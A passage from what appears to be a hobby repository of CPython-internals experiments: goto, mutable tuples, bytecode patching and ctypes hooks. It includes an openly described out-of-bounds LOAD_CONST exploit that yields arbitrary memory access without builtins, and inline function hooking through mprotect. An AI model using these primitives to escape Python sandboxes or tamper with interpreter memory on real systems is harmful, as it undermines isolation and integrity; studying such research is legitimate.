tptr.value = oval 39 | clean() 40 | return retv 41 | 42 | call_addr = cast(call, c_void_p).value 43 | 44 | def setup_tp_call(typ, ret, cleanup): 45 | tpcall_pointer = c_void_p.from_address(id(typ) + 16 * BASE_SIZE) 46 | oval = tpcall_pointer.value 47 | tpcall_pointer.value = call_addr 48 | capsule.update(tptr=tpcall_pointer, oval=oval, retv=ret, clean=cleanup) 49 | return setup_tp_call 50 | 51 | setup_tp_call = make_stc() 52 | 53 | def custom_contains(func): 54 | def wrapper(self, other): 55 | frame = getframe(1) 56 | oparg = frame.f_code.co_code[frame.f_lasti + 1] 57 | ret = func(self, other, oparg) 58 | cleanup = inject_call(frame) 59 | setup_tp_call(bool, ret, cleanup) 60 | return wrapper 61 | 62 | class Foo: 63 | @custom_contains 64 | def __contains__(self, item, flag): 65 | return self, item, flag 66 | -------------------------------------------------------------------------------- /goto.py: -------------------------------------------------------------------------------- 1 | from ctypes import c_char 2 | def getmem(addr, size): 3 | return memoryview((c_char*size).from_address(addr)).cast('B') 4 | 5 | __all__ = ['goto', 'label'] 6 | 7 | ''' 8 | An implementation of `goto` in pure python 9 | ''' 10 | 11 | def get_dest(frame, label): 12 | code, names = frame.f_code.co_code, frame.f_code.co_names 13 | frame_var = {**frame.f_globals, **frame.f_locals}.get 14 | ops, args = code[::2], code[1::2] 15 | for idx, (op, arg) in enumerate(zip(ops, args)): 16 | if op == 106 and names[arg] == label and \ 17 | isinstance(frame_var(names[args[idx - 1]]), Label): 18 | return (idx - 1) * (1 if int.__flags__ & (1 << 8) else 2) 19 | raise RuntimeError(f'label {label!r} not found') 20 | 21 | def set_instr(code, idx, op, arg): 22 | code_addr = id(code) + bytes.__basicsize__ - 1 23 | mem = getmem(code_addr, len(code)) 24 | (op, arg), mem[idx:idx + 2] = mem[idx:idx + 2], bytes((op, arg)) 25 | return op, arg 26 | 27 | restore_instr = [None, None, None] 28 | 29 | class Goto: 30 | def __getattr__(self, label): 31 | code = (frame := sys._getframe(1)).f_code.co_code 32 | idx = frame.f_lasti + 2 33 | op, arg = set_instr(code, idx, 114, get_dest(frame, label)) 34 | restore_instr[:3] = (idx, op, arg) 35 | __mul__ = __getattr__ 36 | 37 | class Label: 38 | def __getattr__(self, name): 39 | if None not in restore_instr: 40 | frame = sys._getframe(1) 41 | set_instr(frame.f_code.co_code, *restore_instr) 42 | restore_instr[:3] = (None, None, None) 43 | 44 | goto = Goto() 45 | label = Label() 46 | 47 | x = 0 48 | label .start 49 | print(x) 50 | if x == 10: 51 | goto .end 52 | x += 1 53 | goto .start 54 | label .end 55 | 56 | f = lambda:int(i) if label .start or (i:=input('type a number: ')).isnumeric() else goto .start 57 | 58 | def computedgoto(): 59 | i = 0 60 | dest = 'start' 61 | label. start 62 | print(i) 63 | if i == 10: 64 | dest = 'end' 65 | i += 1 66 | goto *dest 67 | label. end 68 | -------------------------------------------------------------------------------- /int_prefix.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import fishhook 3 | import f_locals 4 | import dis 5 | from ctypes import ( 6 | c_byte, 7 | py_object, 8 | c_void_p, 9 | POINTER, 10 | sizeof 11 | ) 12 | 13 | handlers = {} 14 | 15 | register = lambda op:lambda f:handlers.update({op:f}) or f 16 | 17 | @register(dis.opmap['LOAD_NAME']) 18 | @register(dis.opmap['LOAD_GLOBAL']) 19 | def handle_name(frame, arg, num): 20 | name = frame.f_code.co_names[arg] 21 | frame.f_globals[name] = num 22 | 23 | @register(dis.opmap['LOAD_FAST']) 24 | def handle_fast(frame, arg, num): 25 | name = frame.f_code.co_varnames[arg] 26 | frame.f_locals[name] = num 27 | 28 | # may implement for more containers later 29 | 30 | def unary_hook(self, frame): 31 | code = frame.f_code 32 | co_code = code.co_code 33 | unary_op = co_code[frame.f_lasti] 34 | load_op, load_arg = co_code[frame.f_lasti - 2: frame.f_lasti] 35 | inc = 0 36 | for idx in range(frame.f_lasti, len(co_code), 2): 37 | if co_code[idx] == unary_op: 38 | inc += 1 39 | else: 40 | break 41 | if unary_op == dis.opmap['UNARY_NEGATIVE']: 42 | self -= inc // 2 43 | else: 44 | self += inc // 2 45 | if func := handlers.get(load_op): 46 | func(frame, load_arg, self) 47 | address = id(co_code) + bytes.__basicsize__ - 1 + frame.f_lasti 48 | for i in range(inc): 49 | c_byte.from_address(address + (i * 2)).value = dis.opmap['NOP'] 50 | def tfunc(*args, co_code=co_code): 51 | if tfunc.n == 2: 52 | for i in range(inc): 53 | c_byte.from_address(address + (i * 2)).value = unary_op 54 | sys.setprofile(None) 55 | else: 56 | tfunc.n += 1 57 | tfunc.n = 0 58 | sys.setprofile(tfunc) 59 | if inc % 2 == 0: 60 | return self 61 | else: 62 | if unary_op == dis.opmap['UNARY_NEGATIVE']: 63 | return ~self + 1 64 | else: 65 | if self < 0: 66 | return ~self + 1 67 | return self 68 | 69 | @fishhook.hook_cls(int) 70 | class int_hooks: 71 | def __pos__(self): 72 | return unary_hook(self, sys._getframe(1)) 73 | 74 | def __neg__(self): 75 | return unary_hook(self, sys._getframe(1)) 76 | -------------------------------------------------------------------------------- /asm_hook.py: -------------------------------------------------------------------------------- 1 | from ctypes import util 2 | from ctypes import * 3 | import atexit 4 | 5 | ''' 6 | Allows for hooking internal C funtions and redirecting them to python code 7 | Originally used for grabbing a reference to the CPython interened strings table 8 | ''' 9 | 10 | base_size = sizeof(c_void_p) 11 | libc = cdll.LoadLibrary(util.find_library('c')) 12 | 13 | PAGE_SIZE = libc.getpagesize() 14 | MEM_READ = 1 15 | MEM_WRITE = 2 16 | MEM_EXEC = 4 17 | ENDIAN = 'little' if memoryview(b'\1\0').cast('h')[0]==1 else 'big' 18 | 19 | libc.mprotect.argtypes = (c_void_p, c_size_t, c_int) 20 | libc.mprotect.restype = c_int 21 | 22 | def mprotect(addr, size, flags): 23 | addr_align = addr & ~(PAGE_SIZE - 1) 24 | mem_end = (addr + size) & ~(PAGE_SIZE - 1) 25 | if (addr + size) > mem_end: 26 | mem_end += PAGE_SIZE 27 | memlen = mem_end - addr_align 28 | libc.mprotect(addr_align, memlen, flags) 29 | 30 | def addr(cfunc): 31 | ptr = c_void_p.from_address(addressof(cfunc)) 32 | return ptr.value 33 | 34 | def hook(cfunc, restype=c_int, argtypes=()): 35 | cfunctype = PYFUNCTYPE(restype, *argtypes) 36 | cfunc.restype, cfunc.argtypes = restype, argtypes 37 | o_ptr = addr(cfunc) 38 | mprotect(o_ptr, 5, MEM_READ | MEM_WRITE | MEM_EXEC) 39 | mem = (c_ubyte*5).from_address(o_ptr) 40 | default = mem[:] 41 | def wrapper(func): 42 | @cfunctype 43 | def injected(*args, **kwargs): 44 | try: 45 | mem[:] = default 46 | return func(*args, **kwargs) 47 | finally: 48 | mem[:] = jmp 49 | n_ptr = addr(injected) 50 | offset = n_ptr - o_ptr - 5 51 | jmp = b'\xe9' + (offset & ((1 << 32) - 1)).to_bytes(4, ENDIAN) 52 | mem[:] = jmp 53 | @atexit.register 54 | def unhook(): 55 | mem[:] = default 56 | injected.unhook = unhook 57 | return injected 58 | return wrapper 59 | 60 | # @hook(pythonapi.PyDict_SetDefault, restype=py_object, argtypes=[py_object]*3) 61 | # def setdefault(self, key, value): 62 | # if key == 'MAGICVAL': 63 | # return self 64 | # return pythonapi.PyDict_SetDefault(self, key, value) 65 | 66 | # pythonapi.PyUnicode_InternFromString.restype = py_object 67 | # interned = pythonapi.PyUnicode_InternFromString(b'MAGICVAL') 68 | # setdefault.unhook() 69 | -------------------------------------------------------------------------------- /dict_research.py: -------------------------------------------------------------------------------- 1 | from asm_hook import hook 2 | from native_ctypes import PyTypeObject 3 | from ctypes import * 4 | from _ctypes import PyObj_FromPtr 5 | 6 | dict_struct = PyTypeObject.from_address(id(dict)) 7 | _FuncPtr = type(pythonapi.Py_IncRef) 8 | dict_new = _FuncPtr(dict_struct.tp_new) 9 | dict_init = _FuncPtr(dict_struct.tp_init) 10 | dict_vectorcall = _FuncPtr(dict_struct.tp_vectorcall) 11 | 12 | def protect(func): 13 | def new_func(*args, **kwargs): 14 | try: 15 | return func(*args, **kwargs) 16 | except Exception as e: 17 | return builtinexc(e, 1) 18 | return new_func 19 | 20 | def builtinexc(exc, level=0): 21 | frame = sys._getframe(2 + level) 22 | mem = getmem(id(frame.f_code.co_code) + bytes.__basicsize__ - 1, len(frame.f_code.co_code)) 23 | mem[frame.f_lasti + 2:frame.f_lasti + 4] = bytes([dis.opmap['RAISE_VARARGS'], 1]) 24 | return exc 25 | 26 | @hook(dict_init, restype=c_int, argtypes=[py_object, c_void_p, c_void_p]) 27 | @protect 28 | def hooked_dict_init(self, args, kwargs): 29 | print('dict_init called', 30 | '\n\targs:', PyObj_FromPtr(args) if args else 'NULL', 31 | '\n\tkwargs:', PyObj_FromPtr(kwargs) if kwargs else 'NULL') 32 | return dict_init(self, args, kwargs) 33 | 34 | @hook(dict_new, restype=py_object, argtypes=[py_object, c_void_p, c_void_p]) 35 | @protect 36 | def hooked_dict_new(typ, args, kwargs): 37 | print('dict_new called', 38 | '\n\targs:', PyObj_FromPtr(args) if args else 'NULL', 39 | '\n\tkwargs:', PyObj_FromPtr(kwargs) if kwargs else 'NULL') 40 | return dict_new(typ, args, kwargs) 41 | 42 | @hook(pythonapi._PyDict_NewPresized, restype=py_object, argtypes=[c_ssize_t]) 43 | @protect 44 | def hooked__PyDict_NewPresized(size): 45 | print('_PyDict_NewPresized called', 46 | '\n\tsize:', size) 47 | return pythonapi._PyDict_NewPresized(size) 48 | 49 | @hook(dict_vectorcall, restype=py_object, argtypes=[py_object, POINTER(py_object), c_size_t, c_void_p]) 50 | @protect 51 | def hooked_dict_vectorcall(typ, argv, argcf, kwnames): 52 | argc = argcf & ~(1 << (8 * sizeof(c_size_t) - 1)) 53 | args = argv[:argc] 54 | print('dict_vectorcall', 55 | '\n\targs:', args, 56 | '\n\tkwargs:', {key:argv[argc + idx] for idx, key in enumerate(PyObj_FromPtr(kwnames))} if kwnames else 'NULL') 57 | return dict_vectorcall(typ, argv, argc, kwnames) 58 | -------------------------------------------------------------------------------- /enable_cin.py: -------------------------------------------------------------------------------- 1 | from ctypes import py_object, c_char, c_ssize_t 2 | import atexit, builtins, sys, dis 3 | 4 | CIN_NAME = None 5 | 6 | def builtinexc(exc, depth=1): 7 | frame = sys._getframe(1 + depth) 8 | addr = id(co := frame.f_code.co_code) + bytes.__basicsize__ - 1 9 | mem = (c_char * len(co)).from_address(addr) 10 | mem[frame.f_lasti + 2:frame.f_lasti + 4] = bytes([dis.opmap['RAISE_VARARGS'], 1]) 11 | return exc 12 | 13 | frame = sys._getframe() 14 | while frame != None: 15 | ob_base_p = py_object.from_address(id(frame.f_globals) + 8) 16 | class cin_hook(dict): 17 | __slots__ = () 18 | def __missing__(self, key, ob_base_p=ob_base_p, builtins=builtins): 19 | try: 20 | ob_base_p.value = builtins.dict 21 | if CIN_NAME and key == CIN_NAME: 22 | frame = sys._getframe(1) 23 | f_code = frame.f_code 24 | load_idx = shift_idx = frame.f_lasti + 2 25 | while f_code.co_code[shift_idx] != dis.opmap['BINARY_RSHIFT']: 26 | shift_idx += 2 27 | if shift_idx >= len(f_code.co_code): 28 | return input() 29 | last_load = shift_idx - 2 30 | instr = dis.opname[f_code.co_code[last_load]].replace('LOAD_', 'STORE_') 31 | if instr == 'BINARY_SUBSCR': 32 | instr = 'STORE_SUBSCR' 33 | (op := dis.opmap.get(instr)) 34 | if (op := dis.opmap.get(instr)) is None or 'STORE' not in instr: 35 | return builtinexc(SyntaxError('cannot use augmented assign here'), 1) 36 | mem = (c_char * len(f_code.co_code)).from_address(id(f_code.co_code) + bytes.__basicsize__ - 1) 37 | mem[last_load] = op 38 | mem[shift_idx: shift_idx + 2] = bytes([ 39 | dis.opmap['LOAD_CONST'], f_code.co_consts.index(None) 40 | ]) 41 | return input() 42 | return builtins.__dict__[key] 43 | except KeyError as e: 44 | return builtinexc(NameError(f'name {e.args[0]!r} is not defined'), 1) 45 | finally: 46 | ob_base_p.value = __class__ 47 | 48 | ob_base_p.value = cin_hook 49 | frame = frame.f_back 50 | c_ssize_t.from_address(id(cin_hook)).value += 1 51 | 52 | CIN_NAME = 'cin' 53 | -------------------------------------------------------------------------------- /native_ctypes/util.py: -------------------------------------------------------------------------------- 1 | from .load_addr import * 2 | 3 | def incref(obj): 4 | getmem(id(obj), PTR_SIZE).cast('n')[0] += 1 5 | 6 | def decref(obj): 7 | getmem(id(obj), PTR_SIZE).cast('n')[0] -= 1 8 | 9 | def mem_utils(): 10 | cache = {} 11 | def alloc(size): 12 | # returns the address of the allocated memory 13 | if size < 0: 14 | raise Exception(f'cannot alloc {size} bytes') 15 | array = bytearray(size) 16 | ptr = int.from_bytes(getmem(id(array) + (PTR_SIZE * 4), PTR_SIZE), ENDIAN) 17 | cache[ptr] = array 18 | return ptr 19 | 20 | def free(ptr): 21 | if is_allocated(ptr): 22 | del cache[ptr] 23 | else: 24 | raise Exception(f'{ptr} is not an allocated address') 25 | 26 | def is_allocated(ptr): 27 | return ptr in cache 28 | 29 | return alloc, free, is_allocated 30 | 31 | alloc, free, is_allocated = mem_utils() 32 | 33 | def cast(obj, typ): 34 | if hasattr(obj, '_addr') and (obj._addr is not None): 35 | return typ.from_address(obj.addr) 36 | raise Exception(f'unable to cast {obj} to {typ}') 37 | 38 | def memcpy(dest, src, n): 39 | getmem(dest, n)[:] = getmem(src, n) 40 | 41 | def check(attr): 42 | def attr_checker(func): 43 | def wrapped(self, *args, **kwargs): 44 | if hasattr(self, attr) and getattr(self, attr): 45 | return func(self, *args, **kwargs) 46 | raise Exception(f'{self} does not support {attr}') 47 | return wrapped 48 | return attr_checker 49 | 50 | def csizeof(obj): 51 | return obj._size_ 52 | 53 | def addressof(obj): 54 | return obj.addr 55 | 56 | rec = type('Rec', (), {'__repr__':lambda s:'...'})() 57 | 58 | def flatten(value, level=0): 59 | if level >= 10: 60 | return rec 61 | if hasattr(value, 'value') and hasattr(value, '_addr'): 62 | value = flatten(value.value, level + 1) 63 | if isinstance(value, list): 64 | lst = [] 65 | for subval in value: 66 | lst.append(flatten(subval, level + 1)) 67 | value = lst 68 | elif isinstance(value, dict): 69 | dct = {} 70 | for key, subval in value.items(): 71 | dct[key] = flatten(subval, level + 1) 72 | value = dct 73 | return value 74 | 75 | def replace(self, **kwargs): 76 | co_keys = [k for k in dir(type(self)) if 'co_' in k] 77 | co_args = [ 78 | 'argcount', 'posonlyargcount', 'kwonlyargcount', 79 | 'nlocals', 'stacksize', 'flags', 'codestring', 80 | 'constants', 'names', 'varnames', 'filename', 81 | 'name', 'firstlineno', 'lnotab', 'freevars', 'cellvars' 82 | ] 83 | alts = { 84 | 'co_consts': 'constants', 85 | 'co_code': 'codestring' 86 | } 87 | return type(self)(*[v for k,v in sorted([ 88 | (alts.get(key, key[3:]), kwargs.get(key, getattr(self, key))) for key in co_keys 89 | ], key=lambda i:co_args.index(i[0]))]) 90 | -------------------------------------------------------------------------------- /closure_research.py: -------------------------------------------------------------------------------- 1 | #SUPPORTS# <= 3.9 2 | 3 | # gadget.__code__ = (gadget:=lambda v,*s:(v,v,v)).__code__.replace(co_code=b'|\0|\1p\12\x88\0n\4\\\1\x89\0S\0') 4 | 5 | # freevars = f->f_fastlocals + co->co_nlocals 6 | # this means if co->co_nlocals is 0, freevars points to the top of the frame.stack 7 | # LOAD_DEREF(n - co_nlocals) pushes fastlocal[co_nlocals-n] as obj->cell_contents 8 | # LOAD_DEREF(n + co_nfreevars) pushes frame.stack[n] as obj->cell_contents 9 | # LOAD_CLOSURE(n + co_nfreevars) push frame.stack[n] 10 | 11 | import dis 12 | gadget = lambda v,*s:None # freevars = frame.stack 13 | gadget.__code__ = gadget.__code__.replace( 14 | co_stacksize=3, 15 | co_nlocals=0, 16 | co_code=bytes([ 17 | dis.opmap['LOAD_FAST'], 0, # 00: frame.stack[0] = v 18 | dis.opmap['LOAD_FAST'], 1, # 02: frame.stack[1] = s 19 | dis.opmap['JUMP_IF_TRUE_OR_POP'], 10, # 04: lasti = 10 if frame.stack[1] else (frame.stack[1] = NULL) 20 | dis.opmap['LOAD_DEREF'], 0, # 06: frame.stack[0] = freevars[0]->cell_contents 21 | dis.opmap['JUMP_FORWARD'], 4, # 08: lasti += 6 22 | dis.opmap['UNPACK_SEQUENCE'], 1, # 10: frame.stack[1] = frame.stack[1][0]; 23 | dis.opmap['STORE_DEREF'], 0, # 12: freevars[0]->cell_contents = frame.stack[1]; frame.stack[1] = NULL 24 | dis.opmap['RETURN_VALUE'], 0 # 14: return frame.stack[0]; frame.stack[0] = NULL 25 | ]) 26 | ) 27 | 28 | x = (0,) 29 | gadget(list.__setitem__, tuple) 30 | list.__setitem__((x, 1, 2, 3), 3, x) 31 | gadget(list.__setitem__, list) 32 | print(x) 33 | 34 | import dis 35 | load = lambda *a:None # freevars = frame.stack 36 | load.__code__ = load.__code__.replace( 37 | co_stacksize=4, 38 | co_nlocals=0, 39 | co_code=bytes([ 40 | dis.opmap['BUILD_LIST'], 0, # 00: frame.stack[0] = list() 41 | dis.opmap['LOAD_FAST'], 0, # 02: frame.stack[1] = a 42 | dis.opmap['GET_ITER'], 0, # 04: frame.stack[1] = iter(a) 43 | dis.opmap['FOR_ITER'], 8, # 06: frame.stack[2] = next(frame.stack[1]) or (frame.stack[1] = NULL; lasti += 10) 44 | dis.opmap['LOAD_DEREF'], 2, # 08: frame.stack[3] = freevars[2]->cell_contents 45 | dis.opmap['LIST_APPEND'], 3, # 10: frame.stack[0].append(frame.stack[3]); frame.stack[3] = NULL 46 | dis.opmap['POP_TOP'], 0, # 12: frame.stack[2] = NULL 47 | dis.opmap['JUMP_ABSOLUTE'], 6, # 14: lasti = 6 48 | dis.opmap['LIST_TO_TUPLE'], 0, # 16: frame.stack[0] = tuple(frame.stack[0]) 49 | dis.opmap['RETURN_VALUE'], 0 # 18: return frame.stack[0]; frame.stack[0] = NULL 50 | ]) 51 | ) 52 | -------------------------------------------------------------------------------- /muttuple.py: -------------------------------------------------------------------------------- 1 | import gc 2 | from fishhook import hook_cls 3 | from ctypes import py_object, pythonapi, sizeof 4 | 5 | base_size = sizeof(py_object) 6 | 7 | ''' 8 | Makes tuples mutable 9 | ''' 10 | 11 | def replace_tuple(self, new): 12 | for container in gc.get_referrers(self): 13 | if isinstance(container, dict): 14 | for k, v in container.items(): 15 | if v is self: 16 | container[k] = new 17 | elif isinstance(container, list): 18 | for i, v in enumerate(container): 19 | if v is self: 20 | container[i] = new 21 | elif isinstance(container, tuple): 22 | for i, v in enumerate(container): 23 | if v is self: 24 | temp = list(container) 25 | temp[i] = new 26 | replace_tuple(container, tuple(temp)) 27 | elif isinstance(container, set): 28 | container.remove(self) 29 | container.add(new) 30 | 31 | def patch_exc(ex): 32 | ex.args = *map( 33 | str.replace, 34 | ex.args, 35 | ['list'] * len(ex.args), 36 | ['tuple'] * len(ex.args) 37 | ), 38 | return ex 39 | 40 | @hook_cls(tuple) 41 | class tuple_patch: 42 | def __setitem__(self, idx, value): 43 | temp = list(self) 44 | try: 45 | temp[idx] 46 | except Exception as ex: 47 | raise patch_exc(ex) 48 | if isinstance(idx, int): 49 | pythonapi.Py_IncRef(py_object(value)) 50 | ptr = py_object.from_address(id(self) + (3 + idx) * base_size) 51 | orig_obj, ptr.value = ptr.value, value 52 | pythonapi.Py_DecRef(py_object(orig_obj)) 53 | else: 54 | temp[idx] = value 55 | replace_tuple(self, tuple(temp)) 56 | 57 | def __delitem__(self, idx): 58 | temp = list(self) 59 | try: 60 | del temp[idx] 61 | except Exception as ex: 62 | raise patch_exc(ex) 63 | replace_tuple(self, tuple(temp)) 64 | 65 | for method in dir([]): 66 | if not ((method.startswith('__') and method.endswith('__')) or method in dir(())): 67 | def func(self, *args, n=method, **kwargs): 68 | temp = list(self) 69 | try: 70 | ret = getattr(temp, n)(*args, **kwargs) 71 | except Exception as ex: 72 | raise patch_exc(ex) 73 | replace_tuple(self, tuple(temp)) 74 | return ret 75 | func.__name__ = method 76 | func.__qualname__ = method 77 | locals()[method] = func 78 | del method, func 79 | -------------------------------------------------------------------------------- /json_parser_golf.py: -------------------------------------------------------------------------------- 1 | def p(s,j=''.join,T=(()for()in()).throw,e=Exception): 2 | a=lambda s,c,m:n if s and (n:=s.pop())in c else T(e(m)) 3 | S=lambda s:s.__setitem__(slice(None), j(s).rstrip())or s 4 | if isinstance(s, str): 5 | return T(e('Extra Data Remaining')) if [r:=p(s:=[*s[::-1]])] and j(s).rstrip() else r 6 | if (S(s)[-1].isdecimal() or s[-1] in '-+.') if s else T(e('Not Enough Data')): 7 | return int(v)if(v:=j([s.pop()for(_)in iter(lambda:len(s)and(s[-1].isdecimal()or s[-1]in'.Ee-+'),0)]))[v[0]in'-+':].isdecimal()else float(v) 8 | elif s[-1] in 'tfn': 9 | return [v:={'true':True,'false':False,'null':None}.get(j(iter(lambda:len(s)and s[-1].isalnum()and s.pop(),0)),2),v!=2or T(e('Invalid Constant'))][0] 10 | t=']}"'[(d:=ord(a(s, '{["', 'Invalid JSON'))//2%3)] 11 | r=[[],{},""][d] 12 | while (s and s[-1] != t and [k:=S(s) and p(s)if d<2 else s.pop()]): 13 | if [(r.append(k)or S(s)) \ 14 | if d==0 else \ 15 | (a(s,':','Invalid Seperator in Object')and r.update({k:p(s)})or S(s) \ 16 | if isinstance(k, str)else \ 17 | T(e('Object Keys must be Strings')))\ 18 | if d==1 else \ 19 | (r:=r+(k \ 20 | if k!='\\'else \ 21 | ('\b\f\n\r\t'+q)[('bfnrt'+q).index(q)] \ 22 | if(q:=a(s,r'\"bfnrtu','Invalid Escape Specifier'))!='u'else \ 23 | T(e('Not Enough Characters Following \\u')) \ 24 | if len(s)<=4else \ 25 | chr(int(C,16)) \ 26 | if all(map('0123456789abcdefABCDEF'.count,C:=j(s.pop()for(_)in range(4))))else \ 27 | T(e('Invalid Codepoint')))) \ 28 | if d==2 else \ 29 | 0] and d<2 and (a(s,','+t,'Missing Terminator or Seperator')==t): 30 | break 31 | else: 32 | a(s, t, 'Missing Terminator') 33 | return r 34 | 35 | p=lambda s,j=''.join:({}['Extra Data Remaining']if[r:=p(I:=[*s][::-1])]and j(I).rstrip()else r)if isinstance(s,str)else float(i)if(S:=lambda s:s.__setitem__(slice(None),j(s).rstrip())or s)(s)and(i:=j(iter(lambda:s.pop()if s and s[-1]in'-+0123456789.eE'else 0,0)))else{'true':True,'false':False,'null':None}[c]if(c:=j(iter(lambda:s.pop()if s and s[-1].isalpha()else 0,0)))else[list,dict,j][(d:=ord(s.pop())//2%3)](iter(lambda:(s.pop()and p)if S(s)[-1]==(t:=']}"'[d])else[k if[k:=p(s)if d<2else s.pop()]and d==0else((k if isinstance(k,str)else{}['Keys must be Strings'],p(s))if d==1and(S(s),{}['Invalid Seperator']if s[-1]!=':'else s.pop())else(k if k!='\\'else('\b\f\n\r\t'+q)[('bfnrt'+q).index(q)]if(q:=s.pop())!='u'else chr(int(j(s.pop()for()in[()]*4),16)))if d==2else p),(s.pop()if l!=t else 0)if d<2and(l:=S(s)[-1])in','+t else 0if d==2else{}['Missing Seperator']][0],p)) 36 | -------------------------------------------------------------------------------- /conv_args.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | import types 3 | def conv_args(func): 4 | code = func.__code__ 5 | flags = code.co_flags 6 | argcount = code.co_argcount 7 | converters = [] 8 | kwarg_conv = None 9 | arg_conv = None 10 | for name, param in inspect.signature(func).parameters.items(): 11 | if param.annotation is not param.empty: 12 | conv = param.annotation 13 | else: 14 | conv = lambda a:a 15 | if not param.kind & (param.VAR_KEYWORD | param.VAR_POSITIONAL): 16 | converters.append(conv) 17 | elif param.kind & param.VAR_KEYWORD: 18 | flags -= flags & 0x8 19 | argcount += 1 20 | kwarg_conv = conv 21 | elif param.kind & param.VAR_POSITIONAL: 22 | flags -= flags & 0x4 23 | argcount += 1 24 | arg_conv = conv 25 | func.__code__ = code.replace( 26 | co_flags = flags, 27 | co_argcount = argcount, 28 | ) 29 | def wrapper(*args, **kwargs): 30 | return func( 31 | *(conv(arg) for conv, arg in zip(converters, args[:code.co_argcount])), 32 | *() if arg_conv is None else [arg_conv(args[code.co_argcount:])], 33 | *() if kwarg_conv is None else [kwarg_conv(kwargs)] 34 | ) 35 | return wrapper 36 | 37 | def verify(typ): 38 | def wrapper(arg): 39 | if typ is None: 40 | return arg 41 | if hasattr(typ, '__args__') and hasattr(typ, '__origin__'): 42 | assert isinstance(arg, typ.__origin__), f'{arg!r} is not an instance of {typ!r}' 43 | if issubclass(typ.__origin__, dict): 44 | assert len(typ.__args__) == 2, 'invalid subscript for dictionary' 45 | ktyp, vtyp = typ.__args__ 46 | for k, v in arg.items(): 47 | verify(ktyp)(k) 48 | verify(vtyp)(v) 49 | else: 50 | assert len(typ.__args__) == 1, 'invalid subscript for array' 51 | vtyp, = typ.__args__ 52 | for v in arg: 53 | verify(typ.__args__)(v) 54 | else: 55 | assert isinstance(arg, typ), f'{arg!r} is not an instance of {typ!r}' 56 | return arg 57 | return wrapper 58 | 59 | @conv_args 60 | def sum_l(a: verify(list[int])): 61 | return sum(a) 62 | 63 | @conv_args 64 | def foo(a: verify(int | str)): 65 | print(a) 66 | 67 | from dataclasses import dataclass 68 | 69 | @dataclass 70 | class Foo: 71 | a: int = None 72 | b: int = None 73 | 74 | @classmethod 75 | def from_dict(cls, dct): 76 | return cls(**dct) 77 | 78 | @conv_args 79 | def foo_func(a:int, b: tuple, *args: list, **kwargs: Foo.from_dict): 80 | print(a, b, args, kwargs) 81 | 82 | foo_func('1', 'string', 'a', 'b', a=1, b=2) 83 | -------------------------------------------------------------------------------- /native_ctypes/load_addr.py: -------------------------------------------------------------------------------- 1 | ''' 2 | An out of bounds read is performed on a tuple co_consts 3 | to perform the read, EXTENDED_ARG opcodes are used to produce the correct offset 4 | if the offset is negative, the offset is overflowed (using a bug in the implementation of EXTENDED_ARG) 5 | The out of bounds read is done by using `LOAD_CONST` with an overlong argument 6 | ''' 7 | #The following allows this exploit to function without the `__builtins__` module 8 | #type = ().__class__.__class__ 9 | #object = type.__base__ 10 | #int = type(0) 11 | #id = lambda o:int(object.__repr__(o).split()[-1][:-1], 16) 12 | #g = lambda n,b=object:{c.__name__:c for c in type(b).__subclasses__(b)}[n] 13 | #bytes = type(b'') 14 | #bytearray = g('bytearray') 15 | #memoryview = g('memoryview') 16 | 17 | def sizeof(obj): 18 | return type(obj).__sizeof__(obj) 19 | 20 | TUPLE_HEADER = sizeof(()) 21 | BYTES_HEADER = sizeof(b'') - 1 22 | PTR_SIZE = sizeof((0,)) - TUPLE_HEADER 23 | MAX_INT = (1 << PTR_SIZE * 8 - 1) - 1 24 | ENDIAN = ['little','big'][1%memoryview(b'\1\0').cast('h')[0]] 25 | 26 | def load_addr(addr): 27 | magic = lambda:None # this functions bytecode gets patched 28 | b_addr = addr.to_bytes(PTR_SIZE, ENDIAN) # convert int to bytes (bytes values are held raw in memory) 29 | offset = id(b_addr) + BYTES_HEADER # start of raw addr in memory 30 | offset -= id(magic.__code__.co_consts) + TUPLE_HEADER # get distance from start of `co_consts tuple` 31 | offset //= PTR_SIZE # offset has to be evenly dividable by `PTR_SIZE` as `PyTuple_GET_ITEM` indexes by `PTR_SIZE` 32 | if offset < 0: # if address is located before the tuple overflow offset to convert to unsigned 33 | # this works because opcode arguments are held in a signed int (4 bytes) 34 | # `EXTENDED_ARG` does not check against signed overflow 35 | offset += 0xffffffff + 1 36 | co_code = bytes((0x64, offset & 0xff, 0x53, 0)) # LOAD_CONST, last byte of offset, `RETURN_VALUE`, 0 37 | offset >>= 8 # shift offset by 8 to drop last byte 38 | while offset > 0: # loop until offset is 0 39 | co_code = bytes((0x90, offset & 0xff)) + co_code # EXTENDED_ARG, last byte of shifted offset 40 | offset >>= 8 # shift offset by 8 to drop last byte 41 | magic.__code__ = magic.__code__.replace( 42 | co_code=co_code # inject generated bytecode 43 | ) 44 | return magic() # trigger the bug 45 | 46 | def make_getmem(): 47 | memory_backing = b''.join(n.to_bytes(PTR_SIZE, ENDIAN) for n in ( 48 | 1, 49 | id(bytearray), 50 | MAX_INT, 51 | 0, 0, 0, 0 52 | )) 53 | 54 | memory = memoryview(load_addr(id(memory_backing) + BYTES_HEADER)) 55 | 56 | def getmem(start, size, _=memory_backing): 57 | return memory[start:start + size] 58 | return getmem 59 | 60 | getmem = make_getmem() 61 | -------------------------------------------------------------------------------- /json_parser.py: -------------------------------------------------------------------------------- 1 | def check(src, chars, msg): 2 | assert src, msg 3 | next = src.pop() 4 | assert next in chars, msg 5 | return next 6 | 7 | def read_str(src): 8 | ret = '' 9 | check(src, '"', 'Missing String Initializer') 10 | while src and src[-1] != '"': 11 | next = src.pop() 12 | if next == '\\': 13 | spec = check(src, r'\"bfnrtu', 'Invalid Escape Specifier') 14 | if spec == 'u': 15 | assert len(src) >= 4, 'Not Enough Characters Following \\u' 16 | codepoint = ''.join(src.pop() for _ in range(4)) 17 | assert all(c in '0123456789abcdefABCDEF' for c in codepoint), 'Invalid Codepoint' 18 | ret += chr(int(codepoint, 16)) 19 | else: 20 | ret += ('\b\f\n\r\t'+spec)[('bfnrt'+spec).index(spec)] 21 | else: 22 | ret += next 23 | else: 24 | check(src, '"', 'Missing String Terminator') 25 | return ret 26 | 27 | def read_num(src): 28 | val = '' 29 | while src and (src[-1].isdecimal() or src[-1] in '.Ee-+'): 30 | val += src.pop() 31 | try: 32 | start_idx = val.startswith('-') or val.startswith('+') 33 | return int(val) if val[start_idx:].isdecimal() else float(val) 34 | except ValueError:pass 35 | assert False, "Failed to Parse Number" 36 | 37 | def read_object(src): 38 | check(src, '{', 'Missing Object Initializer') 39 | src[:] = ''.join(src).rstrip() 